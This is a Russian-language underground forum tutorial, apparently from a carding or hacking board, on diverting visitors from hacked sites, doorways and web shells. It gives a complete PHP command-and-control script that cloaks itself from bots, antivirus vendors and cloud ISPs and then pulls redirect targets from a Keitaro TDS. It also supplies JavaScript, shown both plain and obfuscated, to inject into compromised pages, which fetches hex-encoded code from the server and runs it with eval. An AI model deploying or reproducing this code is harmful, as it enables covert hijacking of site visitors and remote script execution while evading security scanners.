Сливаем трафик с Сайтов/Дорвеев/Shells
Нам понадобится:
---
VPS под CC
(Можно взять хостинг)
VPS под KeitaroTDS
(Можно белый он не будет светится в Web)
KeitaroTDS
Тут бесплатно: https://exploitinqx4sjro.onion/topic/167835/
Тут платно:
Настройку хостов и кейтаро разбирайтесь сами, описывать не буду.
---
Скрипт CC:
Вам в нем нужно вписать данные Click Client v3 из тдс:
$TDS_api_url = "http://demo-en.keitaro.io/api.php?"; $Click_API_token = "2v3cfjwlcztbkpgrhcsmtzf68wz2tzkb";
Файл
pixel.php
- на него будут запросы из JS.
По дефолту перед запросами в тдс идет клоака:
https://xsstorweb56srs3a.onion/threads/35415/
<?php error_reporting(0); header("Access-Control-Allow-Origin: *"); $TDS_api_url = "http://demo-en.keitaro.io/api.php?"; $Click_API_token = "2v3cfjwlcztbkpgrhcsmtzf68wz2tzkb"; $CHECK_IPS_KEY = "key_free"; function bad_reguest(){exit();} ### $GLOBAL_IP = $_SERVER['REMOTE_ADDR']; $GLOBAL_UA = urlencode($_SERVER['HTTP_USER_AGENT']); # $CHECK_IPS_API_BOT = "http://checkbot.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP; $CHECK_IPS_API_ISP = "http://checkisp.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP; ### if( ### Check USER_AGENT strpos($GLOBAL_UA, urlencode('http://')) !== false || strpos($GLOBAL_UA, urlencode('Catchpoint')) !== false || strpos($GLOBAL_UA, urlencode('Python')) !== false || strpos($GLOBAL_UA, urlencode('Crawler')) !== false || strpos($GLOBAL_UA, urlencode('Spider')) !== false || strpos($GLOBAL_UA, urlencode('crawler')) !== false || strpos($GLOBAL_UA, urlencode('spider')) !== false || strpos($GLOBAL_UA, urlencode('Bot')) !== false || strpos($GLOBAL_UA, urlencode('BOT')) !== false || strpos($GLOBAL_UA, urlencode('bot')) !== false || strpos($GLOBAL_UA, urlencode('ips-agent')) !== false || strpos($GLOBAL_UA, urlencode('zgrab')) !== false || strpos($GLOBAL_UA, urlencode('Netcraft')) !== false || strpos($GLOBAL_UA, urlencode('BingPreview')) !== false || strpos($GLOBAL_UA, urlencode('evc-batch')) !== false || strpos($GLOBAL_UA, urlencode('Wget')) !== false || strpos($GLOBAL_UA, urlencode('CheckHost')) !== false || strpos($GLOBAL_UA, urlencode('HostTracker')) !== false || strpos($GLOBAL_UA, urlencode('Wappalyzer')) !== false || strpos($GLOBAL_UA, urlencode('Hstpnetwork')) !== false || strpos($GLOBAL_UA, urlencode('Genieo')) !== false || strpos($GLOBAL_UA, urlencode('Yahoo')) !== false || strpos($GLOBAL_UA, urlencode('A6-Indexer')) !== false || strpos($GLOBAL_UA, urlencode('Windows NT 5.2')) !== false #ADD MORE ){ bad_reguest(); } else { if ( ### Check CHECK_IPS_API_BOT strpos(file_get_contents($CHECK_IPS_API_BOT), 'BOT') !== false ){ bad_reguest(); } else { ### Check CHECK_IPS_API_ISP $GET_ISP = file_get_contents($CHECK_IPS_API_ISP); if ( strpos($GET_ISP, 'Hosting') !== false || strpos($GET_ISP, 'hosting') !== false || strpos($GET_ISP, 'HOSTING') !== false || strpos($GET_ISP, 'cloud') !== false || strpos($GET_ISP, 'Cloud') !== false || strpos($GET_ISP, 'CLOUD') !== false || strpos($GET_ISP, 'Vps') !== false || strpos($GET_ISP, 'VPS') !== false || strpos($GET_ISP, 'Dedicated') !== false || strpos($GET_ISP, 'Zscaler') !== false || strpos($GET_ISP, 'ScanSafe') !== false || strpos($GET_ISP, 'Google') !== false || strpos($GET_ISP, 'Amazon') !== false || strpos($GET_ISP, 'Microsoft') !== false || strpos($GET_ISP, 'WANSecurity') !== false || strpos($GET_ISP, 'Yahoo') !== false || strpos($GET_ISP, 'Baidu') !== false || strpos($GET_ISP, 'YANDEX') !== false || strpos($GET_ISP, 'Yandex') !== false || strpos($GET_ISP, 'Mail.RU') !== false || strpos($GET_ISP, 'Mail.Ru') !== false || strpos($GET_ISP, 'Cisco') !== false || strpos($GET_ISP, 'OpenDNS') !== false || strpos($GET_ISP, 'AVIRA') !== false || strpos($GET_ISP, 'Avira') !== false || strpos($GET_ISP, 'ESET') !== false || strpos($GET_ISP, 'Kaspersky') !== false || strpos($GET_ISP, 'Bitdefender') !== false || strpos($GET_ISP, 'Sucuri') !== false || strpos($GET_ISP, 'DRWEB') !== false || strpos($GET_ISP, 'AVAST') !== false || strpos($GET_ISP, 'Bullguard') !== false || strpos($GET_ISP, 'COMODO') !== false || strpos($GET_ISP, 'Comodo') !== false || strpos($GET_ISP, 'F-Secure') !== false || strpos($GET_ISP, 'Fortinet') !== false || strpos($GET_ISP, 'McAfee') !== false || strpos($GET_ISP, 'Norton') !== false || strpos($GET_ISP, 'Panda') !== false || strpos($GET_ISP, 'PayPal') !== false || strpos($GET_ISP, 'Symantec') !== false || strpos($GET_ISP, 'Facebook') !== false || strpos($GET_ISP, 'SurfControl') !== false || strpos($GET_ISP, 'IKARUS') !== false || strpos($GET_ISP, 'Ikarus') !== false || strpos($GET_ISP, 'Security') !== false || strpos($GET_ISP, 'Webroot') !== false || strpos($GET_ISP, 'Trend Micro') !== false || strpos($GET_ISP, 'Sophos') !== false || strpos($GET_ISP, 'Unithost') !== false || strpos($GET_ISP, 'SURFnet') !== false || strpos($GET_ISP, 'DREAMLINE CO.') !== false || strpos($GET_ISP, 'Alibaba') !== false || strpos($GET_ISP, 'Advertising') !== false || strpos($GET_ISP, 'Outbrain') !== false || strpos($GET_ISP, 'Airespring') !== false || strpos($GET_ISP, 'MegaPath') !== false || strpos($GET_ISP, 'Intelligence') !== false || strpos($GET_ISP, 'LG DACOM Corporation') !== false || strpos($GET_ISP, 'Trustwave') !== false || strpos($GET_ISP, 'Palo Alto Networks') !== false || strpos($GET_ISP, 'Palo Alto Unified School District') !== false || strpos($GET_ISP, 'Internet Archive') !== false || strpos($GET_ISP, 'Tierpoint') !== false || strpos($GET_ISP, 'TruVista') !== false #ADD MORE ) { bad_reguest(); } else { require_once 'kclick_client.php'; $client = new KClickClient($TDS_api_url, $Click_API_token); $client->ip($GLOBAL_IP); $header = $client->getHeaders(); $header_url = $header[0]; $header_url = preg_replace('/LOCATION: /', '', $header_url); $header_url = preg_replace('/Location: /', '', $header_url); $go_url = $header_url; if(strpos($go_url, 'http') !== false) { function str2hex( $str ) { return array_shift( unpack('H*', $str) ); } $txt = 'window.location = "'.$go_url.'";'; $hex = str2hex( $txt ); echo $hex; } else { bad_reguest(); } } } } exit(); ?>
Рядом с pixel.php должен лежать файл kclick_client.php
Он есть в тдс
http://demo-en.keitaro.io/admin/?object=codePresets.downloadClient
Переходим к JS для ресурсов, var x_u = "https://URL_DOMAIN/pixel.php"; - пропишите свой URL до pixel.php
Не забываем сделать SSL-сертификат на домен CC.
var x_u = "https://URL_DOMAIN/pixel.php"; function xhr_load(url) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { if(xhr.status== 200 || xhr.status == 304){ var rl = ""+xhr.responseText; function h2a(r){for(var t=r.toString(),n="",e=0;e<t.length&&"00"!==t.substr(e,2);e+=2)n+=String.fromCharCode(parseInt(t.substr(e,2),16));return n} if("null"!==rl&&void 0!==rl&&""!==rl){ eval(h2a(rl)); } else {} } } } xhr.open('GET', url, true); xhr.send(null); } if (typeof localStorage !== 'undefined') { if (localStorage.getItem('_uis') !== '_uis'){ localStorage.setItem("_uis", "_uis"); xhr_load(x_u); } }
Перед вставкой на сайт пропустите через обфускатор.
Вот бесплатный вариант:
Javascript Obfuscator - Protects JavaScript code from stealing and shrinks size
Online Javascript Obfuscator
www.javascriptobfuscator.com
На выходе будет такое:
var _0xe095=["\x68\x74\x74\x70\x3A\x2F\x2F\x55\x52\x4C\x5F\x44\x4F\x4D\x41\x49\x4E\x2F\x70\x69\x78\x65\x6C\x2E\x70\x68\x70","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x44\x4F\x4E\x45","\x73\x74\x61\x74\x75\x73","","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x6C\x65\x6E\x67\x74\x68","\x30\x30","\x73\x75\x62\x73\x74\x72","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6E\x75\x6C\x6C","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x5F\x75\x69\x73","\x67\x65\x74\x49\x74\x65\x6D","\x73\x65\x74\x49\x74\x65\x6D"]; var x_u=_0xe095[0];function xhr_load(_0xb0ecx3){var _0xb0ecx4= new XMLHttpRequest();_0xb0ecx4[_0xe095[1]]= function(){if(_0xb0ecx4[_0xe095[2]]== XMLHttpRequest[_0xe095[3]]){if(_0xb0ecx4[_0xe095[4]]== 200|| _0xb0ecx4[_0xe095[4]]== 304){var _0xb0ecx5=_0xe095[5]+ _0xb0ecx4[_0xe095[6]];function _0xb0ecx6(_0xb0ecx7){for(var _0xb0ecx8=_0xb0ecx7.toString(),_0xb0ecx9=_0xe095[5],_0xb0ecxa=0;_0xb0ecxa< _0xb0ecx8[_0xe095[7]]&& _0xe095[8]!== _0xb0ecx8[_0xe095[9]](_0xb0ecxa,2);_0xb0ecxa+= 2){_0xb0ecx9+= String[_0xe095[10]](parseInt(_0xb0ecx8[_0xe095[9]](_0xb0ecxa,2),16))};return _0xb0ecx9}if(_0xe095[11]!== _0xb0ecx5&& void(0)!== _0xb0ecx5&& _0xe095[5]!== _0xb0ecx5){eval(_0xb0ecx6(_0xb0ecx5))}else {}}}};_0xb0ecx4[_0xe095[13]](_0xe095[12],_0xb0ecx3,true);_0xb0ecx4[_0xe095[14]](null)}if( typeof localStorage!== _0xe095[15]){if(localStorage[_0xe095[17]](_0xe095[16])!== _0xe095[16]){localStorage[_0xe095[18]](_0xe095[16],_0xe095[16]);xhr_load(x_u)}}
Что получаем:
JS Выполнет проверку localStorage
Если доступно ставит куку localStorage (Чтоб не было кучи хитов/Проверка на уникальность),
После установки куки выполняет XMLHttpRequest запрос до CC,
Получает от CC закодированные в HEX данные, и делает eval.
CC Выполнет проверку на ботов,
Если все ок, делает запрос в TDS,
Получает из TDS домен для редиректа,
Кодирует редиркет в hex и отдает контент.